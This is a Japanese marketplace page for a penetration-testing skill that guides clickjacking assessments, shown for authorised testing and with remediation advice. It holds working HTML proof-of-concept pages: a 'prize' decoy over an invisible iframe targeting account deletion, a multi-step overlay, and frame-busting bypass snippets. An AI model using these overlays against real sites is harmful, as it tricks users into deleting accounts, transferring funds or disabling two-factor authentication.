mcpField
P
performing-clickjacking-attack-test

performing-clickjacking-attack-test

github.com/mukul975セキュリティ35.2k137 回インストール8 週間前に更新
リポジトリ

performing-clickjacking-attack-test について

認可済みのペネトレーションテストで使う、クリックジャッキング評価スキルです。フレーム保護の確認から PoC テスト、影響の検証、所見の記録までを案内します。

主な機能

  1. 01X-Frame-Options と CSP の確認
  2. 02iframe 埋め込みのテスト
  3. 03単段・多段 PoC の作成
  4. 04JavaScript によるフレーム保護の回避テスト
  5. 05影響の検証と所見の記録

活用シーン

  1. 01アカウント削除ページのフレーム保護確認
  2. 02ワンクリック送金のリスク評価
  3. 03多段階の二要素認証変更のテスト
  4. 04OAuth 同意ページの埋め込みリスク評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-clickjacking-attack-test

インストール後、Claude Code で/performing-clickjacking-attack-testを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

クリックジャッキング攻撃のテスト

使用する場面

  • UI レッドレッシングの脆弱性を評価する、許可を得た侵入テストの実施時
  • アカウントの削除、資金の送金、設定の変更などの機密性の高い操作が、クリックジャッキングによって実行できるかテストする時
  • X-Frame-Options および Content-Security-Policy の frame-ancestors ディレクティブの有効性を評価する時
  • 追加の確認なしでワンクリック操作を処理するアプリケーションを評価する時
  • 金融取引やアカウント管理を扱うアプリケーションのセキュリティ監査時

前提条件

  • 許可:対象に対する、書面による侵入テストの合意
  • ウェブブラウザー:iframe 埋め込みテスト用の最新ブラウザー
  • ローカルウェブサーバー:PoC ページのホスティングに使用する Python http.server または同等のもの
  • Burp Suite:レスポンスヘッダーの調査用
  • HTML/CSS の知識:クリックジャッキングのオーバーレイページ作成用
  • curl:対象ページのフレーミングヘッダー確認用

法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺関連法に違反する可能性があります。

ワークフロー

ステップ 1:フレーム埋め込み保護を確認する

クリックジャッキング対策のレスポンスヘッダーを調べます。

# Check X-Frame-Options header
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# Expected values:
# X-Frame-Options: DENY (blocks all framing)
# X-Frame-Options: SAMEORIGIN (allows same-origin framing)
# X-Frame-Options: ALLOW-FROM https://trusted.com (deprecated, limited support)

# Check Content-Security-Policy frame-ancestors directive
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# Look for: frame-ancestors 'none' or frame-ancestors 'self'
# frame-ancestors 'none' = equivalent to DENY
# frame-ancestors 'self' = equivalent to SAMEORIGIN

# Test multiple sensitive pages
for page in / /account/settings /account/delete /transfer \
  /admin/dashboard /change-password /change-email; do
  echo -n "$page: "
  headers=$(curl -s -I "https://target.example.com$page")
  xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  if [ -z "$xfo" ] && [ -z "$csp" ]; then
    echo "NO PROTECTION"
  else
    echo "${xfo:-none} | ${csp:-none}"
  fi
done

# Check if JavaScript frame-busting is used (weak protection)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"
ステップ 2:基本的な iframe 埋め込みをテストする

対象ページを iframe に埋め込み、脆弱性の有無を確認します。


<html>
<head><title>Clickjacking Frame Test</title></head>
<body>
<h1>Frame Embedding Test</h1>
<p>If the target page loads below, it is vulnerable to clickjacking.</p>


<iframe src="https://target.example.com/account/settings"
        width="800" height="600"
        style="border: 2px solid red;">
</iframe>

<p>If you see "Refused to display" in console or blank iframe,
   the page has frame protection.</p>
</body>
</html>
# Host the test page
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>Clickjacking Test</h1>
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# Open http://localhost:8888/frame-test.html in browser
# Check browser console for framing errors
ステップ 3:クリックジャッキングの概念実証を作成する

ユーザーを誘導して隠された要素をクリックさせる、オーバーレイ攻撃を構築します。


<html>
<head>
<title>Win a Prize!</title>
<style>
  body {
    margin: 0;
    padding: 0;
    font-family: Arial, sans-serif;
  }

  /* Invisible iframe containing target page */
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.0001;  /* Nearly invisible */
    z-index: 2;       /* On top of decoy */
    border: none;
  }

  /* Decoy content that tricks the user */
  #decoy {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1;
    background: white;
  }

  /* Position the "Click here" button exactly over the target's
     sensitive button (adjust top/left values based on target layout) */
  #click-bait {
    position: absolute;
    top: 350px;    /* Align with target's "Delete Account" button */
    left: 400px;   /* Align horizontally */
    padding: 15px 30px;
    background: #4CAF50;
    color: white;
    font-size: 18px;
    cursor: pointer;
    border: none;
    border-radius: 5px;
  }
</style>
</head>
<body>


<div id="decoy">
  <h1 style="text-align:center; margin-top:100px;">
    Congratulations! You Won!
  </h1>
  <p style="text-align:center;">
    Click the button below to claim your prize
  </p>
  <button id="click-bait">CLAIM PRIZE</button>
</div>


<iframe id="target-frame"
  src="https://target.example.com/account/delete"
  scrolling="no">
</iframe>

</body>
</html>
ステップ 4:複数ステップのクリックジャッキング攻撃を作成する

複数回のクリックが必要な操作のために、複数ステップのオーバーレイを作成します。


<html>
<head>
<title>Complete Survey</title>
<style>
  #target-frame {
    position: absolute;
    width: 100%;
    height: 100%;
    opacity: 0.0001;
    z-index: 2;
    border: none;
  }
  #step-container {
    text-align: center;
    margin-top: 200px;
    z-index: 1;
    position: relative;
  }
  .step { display: none; }
  .step.active { display: block; }
  .btn {
    padding: 15px 40px;
    font-size: 18px;
    background: #2196F3;
    color: white;
    border: none;
    cursor: pointer;
    margin-top: 20px;
  }
</style>
</head>
<body>

<div id="step-container">
  
  <div class="step active" id="step1">
    <h2>Step 1: Select your reward</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:200px; left:300px;">
      Gold Package
    </button>
  </div>

  
  <div class="step" id="step2">
    <h2>Step 2: Confirm your choice</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:350px; left:400px;">
      Confirm
    </button>
  </div>

  
  <div class="step" id="step3">
    <h2>Step 3: Claim reward!</h2>
    <button class="btn"
      style="position:absolute; top:400px; left:450px;">
      Claim Now!
    </button>
  </div>
</div>

<iframe id="target-frame"
  src="https://target.example.com/account/settings">
</iframe>

<script>
var currentStep = 1;
function nextStep() {
  document.getElementById('step' + currentStep).classList.remove('active');
  currentStep++;
  document.getElementById('step' + currentStep).classList.add('active');
  // Optionally change iframe src for multi-page flows
}
</script>
</body>
</html>
ステップ 5:フレームバスティングの回避手法をテストする

JavaScript ベースのフレーム保護が使用されている場合は、その回避を試みます。




<iframe src="https://target.example.com/account/settings"
  sandbox="allow-scripts allow-forms allow-same-origin"
  width="800" height="600">
</iframe>





<iframe src="intermediate.html" width="800" height="600"></iframe>



<script>
window.onbeforeunload = function() {
  return "Are you sure?";  // Prevents navigation away
};
</script>
<iframe src="https://target.example.com/account/settings"
  width="800" height="600">
</iframe>


<iframe id="f" src="about:blank" width="800" height="600"></iframe>
<script>
var iframe = document.getElementById('f');
iframe.contentDocument.write(
  '<iframe src="https://target.example.com/account/settings" width="100%" height="100%"></iframe>'
);
</script>
ステップ 6:影響を検証し、検出事項を記録する

クリックジャッキングによって意味のある影響が生じることを確認します。

# Host the PoC and test the attack flow
cd /tmp
python3 -m http.server 8888

# Testing steps:
# 1. Log in to target.example.com in the browser
# 2. Open http://localhost:8888/clickjacking-poc.html
# 3. Click the decoy button
# 4. Verify the sensitive action was performed on the target

# For report: adjust iframe opacity to show overlap
# Change opacity from 0.0001 to 0.5 for screenshot evidence
# This shows the target page visible behind the decoy content

# Document which sensitive actions are vulnerable:
# - Account deletion
# - Password/email change
# - Fund transfer
# - Permission/role changes
# - Enabling/disabling security features

主要な概念

概念説明
クリックジャッキングおとりのコンテンツを重ねてユーザーを誘導し、隠された要素をクリックさせる UI レッドレッシング攻撃
X-Frame-Optionsページを iframe に埋め込めるかどうかを制御する HTTP ヘッダー(DENY、SAMEORIGIN)
frame-ancestorsiframe の埋め込みを許可する親を指定する CSP ディレクティブ(X-Frame-Options に優先)
フレームバスティングiframe から抜け出そうとする JavaScript ベースの防御(簡単に回避可能)
ライクジャッキングソーシャルメディアの「いいね」ボタンや「シェア」ボタンを標的とするクリックジャッキングの亜種
カーソルジャッキングCSS を使って、表示されるカーソル位置と実際のクリック位置をずらす亜種
複数ステップのクリックジャッキング複数回のクリックを必要とし、各ステップでおとりのコンテンツが変化する攻撃

ツールとシステム

ツール用途
Burp Suite Professionalレスポンスの X-Frame-Options および CSP ヘッダーを調査する
Clickjack Tester (browser)ブラウザーベースの iframe 埋め込みテストツール
ブラウザー DevToolsフレーム埋め込みの挙動とコンソールエラーを調査する
Python http.serverクリックジャッキングの PoC ページをローカルでホスティングする
OWASP ZAPフレーミング対策ヘッダーの欠落を自動検出する
securityheaders.comセキュリティヘッダーの欠落を調べるオンラインスキャナー

よくあるシナリオ

シナリオ 1:クリックジャッキングによるアカウント削除

/account/delete のアカウント削除ページに X-Frame-Options ヘッダーがありません。攻撃者は、透明な iframe 内の「アカウントを削除」ボタンに重なる位置に「賞品を獲得」ボタンを配置したページを作成します。

シナリオ 2:ワンクリックでの資金送金

銀行アプリケーションでは、入力済みのフォーム上にあるボタンを一度クリックするだけで送金が実行されます。フレーム保護がなければ、攻撃者は送金ページを iframe に埋め込み、おとりの「ゲームをプレイ」ボタンを重ねます。

シナリオ 3:複数ステップのクリックジャッキングによる 2FA の無効化

2 要素認証を無効にするには、2 回クリックする必要があります(設定リンク、続いて無効化ボタン)。複数ステップのクリックジャッキング PoC は、実際のボタンに位置が合う 2 つの偽装クリックを被害者に促します。

シナリオ 4:OAuth 認可のクリックジャッキング

OAuth の同意画面はフレーム内に表示できる状態です。攻撃者は同意画面を埋め込み、被害者をだまして「Authorize」をクリックさせ、被害者のアカウントへのアクセスを攻撃者のアプリケーションに許可させます。

出力形式

## Clickjacking Vulnerability Finding

**Vulnerability**: Clickjacking - Missing Frame Embedding Protection
**Severity**: Medium (CVSS 6.1)
**Location**: /account/settings, /account/delete, /transfer
**OWASP Category**: A04:2021 - Insecure Design

### Headers Analysis
| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |
|------|----------------|--------------------|-|
| / | Not set | Not set | Yes |
| /account/settings | Not set | Not set | Yes |
| /account/delete | Not set | Not set | Yes |
| /transfer | Not set | Not set | Yes |
| /login | SAMEORIGIN | - | No |

### Sensitive Actions Exploitable
1. Account deletion (single click, no re-authentication)
2. Email change (single click, no confirmation)
3. 2FA disable (two clicks, multi-step PoC)
4. Fund transfer (pre-filled form, single click)

### Impact
- Account takeover via email change clickjacking
- Account destruction via delete clickjacking
- Financial loss via transfer clickjacking
- Security downgrade via 2FA disable clickjacking

### Recommendation
1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages
2. Set `X-Frame-Options: DENY` as fallback for older browsers
3. Require re-authentication for sensitive actions (delete, transfer)
4. Add confirmation dialogs that cannot be pre-filled or auto-submitted
5. Implement SameSite=Strict cookies to reduce session availability in frames

コメント